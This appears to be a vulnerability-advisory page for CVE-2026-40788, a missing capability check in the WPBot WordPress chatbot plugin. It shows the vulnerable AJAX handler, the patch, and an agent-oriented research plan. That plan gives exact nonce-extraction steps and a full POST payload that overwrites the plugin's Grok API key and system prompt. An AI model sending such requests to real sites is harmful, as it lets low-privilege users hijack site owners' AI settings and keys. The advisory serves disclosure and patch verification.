CVE-2026-40788

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services <= 7.9.7 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
7.9.9
Patched in
8d
Time to patch

Description

The WPBot – AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 7.9.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.9.7
PublishedApril 23, 2026
Last updatedApril 30, 2026
Affected pluginchatbot

What Changed in the Fix

Changes introduced in v7.9.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-40788 (WPBot Missing Authorization) ## 1. Vulnerability Summary The WPBot plugin (<= 7.9.7) contains a missing authorization vulnerability in its Grok AI integration. Specifically, the AJAX handler `qcld_grok_settings_option_callback` verifies a WordPress non…

Show full research plan

Vulnerability Research Plan: CVE-2026-40788 (WPBot Missing Authorization)

1. Vulnerability Summary

The WPBot plugin (<= 7.9.7) contains a missing authorization vulnerability in its Grok AI integration. Specifically, the AJAX handler qcld_grok_settings_option_callback verifies a WordPress nonce but fails to check for administrative capabilities (e.g., manage_options). This allows an authenticated attacker with at least Subscriber-level access to modify sensitive plugin settings, such as API keys and AI provider configurations.

The vulnerability is confirmed by comparing the Grok implementation in includes/integration/grok/qcld-bot-grok.php (which lacks the check) with the Gemini implementation in includes/integration/gemini/qcld-bot-gemini.php (which correctly implements current_user_can('manage_options')).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: qcld_grok_settings_option
  • Parameter: nonce (required), various setting fields (e.g., grok_api_key, grok_enabled).
  • Authentication: Authenticated (Subscriber+).
  • Preconditions: The attacker must be able to obtain a valid nonce for the wp_chatbot action.

3. Code Flow

  1. Hook Registration: In includes/integration/grok/qcld-bot-grok.php, the class qcld_wpgrok_addons registers the AJAX handler:
    add_action( 'wp_ajax_qcld_grok_settings_option', array( $this, 'qcld_grok_settings_option_callback' ) );
    
  2. Vulnerable Function Call: When a request is sent to admin-ajax.php?action=qcld_grok_settings_option, the qcld_grok_settings_option_callback function is executed.
  3. Nonce Verification: The function checks the nonce:
    $nonce = sanitize_text_field( $_POST['nonce'] );
    if ( ! wp_verify_nonce( $nonce, 'wp_chatbot' ) ) { ... }
    
  4. Missing Authorization Sink: After the nonce check, the function proceeds directly to updating options using update_option() without calling current_user_can().
    $grok_api_key = sanitize_text_field( $_POST['grok_api_key'] ?? '' );
    update_option( 'qcld_grok_api_key', $grok_api_key );
    // ... other update_option calls ...
    

4. Nonce Acquisition Strategy

The wp_chatbot nonce is localized in the qcld_wb_chatbot_grok_admin_scripts function within includes/integration/grok/qcld-bot-grok.php:

wp_localize_script(
    'qcld-wp-chatbot-grok-admin',
    'ajax_object',
    array(
        'ajax_url'   => admin_url( 'admin-ajax.php' ),
        'ajax_nonce' => wp_create_nonce( 'wp_chatbot' ),
        ...
    )
);

This script is enqueued on specific admin pages, including wpbot_openAi.

Plan for Agent:

  1. Log in to WordPress as a Subscriber.
  2. Navigate to /wp-admin/admin.php?page=wpbot_openAi (even if access is restricted, the enqueuing logic in the constructor may trigger the localization if the menu registration uses low capabilities).
  3. Extract the nonce using browser_eval:
    browser_eval("window.ajax_object?.ajax_nonce")
  4. If ajax_object is undefined, check for qcld_gemini_admin_data.ajax_nonce as an alternative (used in Gemini/OpenRouter logic).

5. Exploitation Strategy

The goal is to modify the qcld_grok_api_key and qcld_grok_enabled options.

HTTP Request (via http_request tool):

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Subscriber session cookies]
  • Body:
    action=qcld_grok_settings_option&nonce=[EXTRACTED_NONCE]&grok_api_key=CVE-2026-40788-PWNED&grok_enabled=1&grok_model=grok-latest&qcld_grok_system_content=Attacker-Controlled-System-Prompt&openai_post_type[]=post
    

6. Test Data Setup

  1. Install and activate the chatbot plugin (v7.9.7).
  2. Create a Subscriber user.
  3. (Optional) Ensure Grok is not already configured so the change is obvious.

7. Expected Results

  • The AJAX request should return a JSON response (likely 1 or a string indicating success, based on echo json_encode( $grok_enabled );).
  • The WordPress database should reflect the modified options.

8. Verification Steps

After the HTTP request, verify the modification using WP-CLI:

wp option get qcld_grok_api_key
wp option get qcld_grok_enabled
wp option get qcld_grok_system_content

If the values match the payload (CVE-2026-40788-PWNED, 1, Attacker-Controlled-System-Prompt), the exploit is successful.

9. Alternative Approaches

If the Grok endpoint fails or is patched in a specific environment, investigate:

  • openai_settings_option_callback (Action: openai_settings_option)
  • rag_settings_option_callback (Action: qcld_rag_settings_option)
    Check if these also lack current_user_can('manage_options'). The Grok integration is the most likely target due to the explicit lack of the check found in its Gemini counterpart.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPBot plugin's Grok AI integration fails to perform a capability check in its AJAX handler, allowing authenticated users with subscriber-level permissions to modify sensitive plugin settings. An attacker can change API keys, models, and AI system prompts, potentially redirecting AI services or disrupting bot functionality.

Vulnerable Code

/* includes/integration/grok/qcld-bot-grok.php:147 */

		public function qcld_grok_settings_option_callback() {
			$nonce = sanitize_text_field( $_POST['nonce'] );
			if ( ! wp_verify_nonce( $nonce, 'wp_chatbot' ) ) {
				wp_send_json(
					array(
						'success' => false,
						'msg'     => esc_html__( 'Failed in Security check', 'wpchatbot' ),
					)
				);
				wp_die();
			} else {
				$grok_api_key                      = sanitize_text_field( $_POST['grok_api_key'] ?? '' );
				$grok_model                        = sanitize_text_field( $_POST['grok_model'] ?? '' );
				$grok_enabled                      = sanitize_text_field( $_POST['grok_enabled'] );
				$qcld_grok_page_suggestion_enabled = sanitize_text_field( $_POST['qcld_grok_page_suggestion_enabled'] );
				$qcld_grok_append_content          = sanitize_text_field( $_POST['qcld_grok_append_content'] ) ?? '';
				$qcld_grok_prepend_content         = sanitize_text_field( $_POST['qcld_grok_prepend_content'] ) ?? '';
				$grok_rag_enabled				   = sanitize_text_field( $_POST['grok_rag_enabled'] ) ?? '';
                $qcld_grok_system_content          = sanitize_text_field( $_POST['qcld_grok_system_content'] ) ?? '';
                $grok_stream_enabled               = sanitize_text_field( $_POST['grok_stream_enabled'] ) ?? '';
				$grok_management_api_key		   = sanitize_text_field( $_POST['grok_management_api_key'] ?? '' );
				$grok_collection_id			       = sanitize_text_field( $_POST['grok_collection_id'] ?? '' );

				if ( $grok_management_api_key != '' ) {
					update_option( 'qcld_grok_management_api_key', $grok_management_api_key );
				}	
				if ( $grok_rag_enabled != '' ) {
					update_option( 'qcld_grok_rag_enabled', $grok_rag_enabled );
				}
                if ( $grok_stream_enabled != '' ) {
                    update_option( 'qcld_grok_stream_enabled', $grok_stream_enabled );
                }
				if ( $grok_api_key != '' ) {
					update_option( 'qcld_grok_api_key', $grok_api_key );
				}
				if ( $grok_model != '' ) {
					update_option( 'qcld_grok_model', $grok_model );
				}
				if ( $grok_enabled != '' ) {
					update_option( 'qcld_grok_enabled', $grok_enabled );
				}
                // ... (truncated)

Security Fix

--- includes/integration/grok/qcld-bot-grok.php
+++ includes/integration/grok/qcld-bot-grok.php
@@ -154,6 +154,9 @@
 				);
 				wp_die();
-			} else {
+			} elseif ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json( array( 'success' => false, 'msg' => esc_html__( 'Unauthorized user', 'wpchatbot' ) ) );
+				wp_die();
+			} else {
 				$grok_api_key                      = sanitize_text_field( $_POST['grok_api_key'] ?? '' );

Exploit Outline

1. Log in as an authenticated user with at least Subscriber-level privileges. 2. Locate or extract a valid WordPress nonce for the 'wp_chatbot' action, typically accessible via localized scripts on the plugin's administration dashboard pages. 3. Construct a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'qcld_grok_settings_option'. 4. Include the 'nonce' and payload parameters such as 'grok_api_key', 'grok_enabled', 'grok_model', and 'qcld_grok_system_content' to overwrite existing AI configuration. 5. The plugin will execute 'update_option' for these parameters without verifying if the requesting user has 'manage_options' capabilities.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.